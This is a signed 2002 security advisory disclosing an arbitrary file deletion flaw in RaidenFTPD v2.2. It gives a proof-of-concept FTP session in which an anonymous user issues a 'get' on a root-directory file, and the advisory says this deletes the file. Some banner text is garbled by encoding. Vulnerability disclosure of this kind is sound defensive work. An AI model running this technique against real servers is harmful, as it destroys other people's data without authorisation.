-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

RaidenFTPD v2.2 Arbitrary File Deletion Vulnerability

Type:
Delete Arbitrary Files

Release Date:
January 13, 2002

Product / Vendor:
RaidenFTPD ftp server solution for Win95/98/NT/2000

http://www.raidenftpd.com/en/

Summary:
A vulnerability exists in Raiden FTPD v2.2, that can allow arbitrary
users to delete any file on the system. Only files in the root
directory (c:\, d:\, e:\ etc.) can be removed.

Example:
C:\>ftp 192.168.10.3
Connected to 192.168.10.3.
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from
http://playstation2.idv.tw/raiden-ftpd-site/
220-Download english version from
http://playstation2.idv.tw/raidenftpd/
220-RaidenFTPD32 for RaidenFTPD (up since 2002/01/13 17:07)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User (192.168.10.3:(none)): anonymous
331 Password required for anonymous .
Password:
230-------------------------------------------------------------------

• ----+
  230- lvl=level r=root s=superusers n=normal g=guest * = all
  userlevels
  230- grp=group n=nukers s=sitebot
  230-for more detailed descriptions , please visit raidenftpd homepage
  230-http://playstation2.idv.tw/raidenftpd/raiden-ftpd-doc/help-sitecmd
  .html
  230-------------------------------------------------------------------
• ----+
  230 User anonymous logged in , proceed.
  ftp> get c:\command.com
  Error opening local file command.com.
  > command.com:Permission denied
  ftp> quit
  221-
  221–=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
• -=-=-=-=-
  221- anonymous , єAс¦с-сW¦¦ "0" BYTES, сU+n "0"
  BYTES
  221- +QєA¦Ян@S·сЇ
  221- ЄAїънA+w¬nЄAЄ+С·-{!!!
  221–=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
• -=-=-=-=-
  221-<This system is running unregistered version of RaidenFTPD>.
  221 Goodbye.

And file has been deleted!

Tested:
Windows 2000 / RaidenFTPD v2.2

Vulnerable:
RaidenFTPD v2.2 (And may be other.)

Disclaimer:
http://www.securityoffice.net is not responsible for the misuse or
illegal use of any of the information and/or the software listed on
this security advisory.

Author:
Tamer Sahin
[email protected]
http://www.securityoffice.net

Tamer Sahin
http://www.securityoffice.net
PGP Key ID: 0x2B5EDCB0 Fingerprint:
B96A 5DFC E0D9 D615 8D28 7A1B BB8B A453 2B5E DCB0

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1

iQA/AwUBPEG2TbuLpFMrXtywEQJcKACfe5Iqpy0Cp+W1aWxzapTDasSPjpgAoLSK
Wz5LdcJy8h0srk0ttFAFr4Jp
=aM2T
-----END PGP SIGNATURE-----

============================================================================
Delivery co-sponsored by VeriSign - The Internet Trust Company

FREE E-COMMERCE SECURITY INFRASTRUCTURE GUIDE
When building an e-commerce site, you want to start with a strong, secure
foundation. Learn how with VeriSign's FREE White Paper, "Building an
E-Commerce Trust Infrastructure." See how you can authenticate your site to
customers, use 128-Bit SSL encryption to secure your web servers, and accept
secure payments online. Click here:
http://www.verisign.com/cgi-bin/go.cgi?a=n116965650045000